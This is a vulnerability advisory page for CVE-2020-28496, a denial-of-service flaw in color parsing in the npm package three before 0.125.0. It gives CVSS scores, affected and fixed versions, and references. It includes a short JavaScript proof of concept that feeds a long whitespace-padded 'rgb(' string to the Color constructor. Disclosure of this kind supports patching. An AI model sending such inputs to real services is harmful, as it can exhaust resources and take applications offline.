CVE-2020-28496
HIGH 7.5CVSS 3.1Denial of service in three
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Published
- 18 Feb 2021
- Last modified
- 17 Jun 2026
- Assigned by
- report@snyk.io
- NVD status
- Modified
- Weakness
- CWE-400
- Also known as
- GHSA-fq6p-x6j3-cmmq
- Sources
- NVDJSONOSV GHSA-fq6p-x6j3-cmmqJSON
Scores
| Source | Scored by | Version | Score | Vector / decision |
|---|---|---|---|---|
| NVD | report@snyk.io (Secondary) | CVSS 3.1 | HIGH 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | nvd@nist.gov (Primary) | CVSS 3.1 | HIGH 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| OSV | GitHub | CVSS 3.1 | HIGH 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | nvd@nist.gov (Primary) | CVSS 2.0 | MEDIUM 5.0 | AV:N/AC:L/Au:N/C:N/I:N/A:P |
Affected
| Source | Vendor / ecosystem | Product / package | Affected versions | Fixed in |
|---|---|---|---|---|
| NVD | three_project | threecpe:2.3:a:three_project:three:*:*:*:*:*:node.js:*:* |
< 0.125.0 | 0.125.0 |
| OSV | npm | three | < 0.125.0 | 0.125.0 |
References
- https://github.com/mrdoob/three.js/issues/21132 · Exploit, Issue Tracking, Third Party Advisory, WEB
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e · Patch, Third Party Advisory, WEB
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 · Exploit, Third Party Advisory, WEB
- https://snyk.io/vuln/SNYK-JS-THREE-1064931 · Exploit, Third Party Advisory, WEB
- https://nvd.nist.gov/vuln/detail/CVE-2020-28496 · ADVISORY
History
- 25 Nov 2026 20:32 UTC · NVD: first stored (published 18 Feb 2021)
- 25 Nov 2026 20:11 UTC · OSV: first stored (published 1 Mar 2021)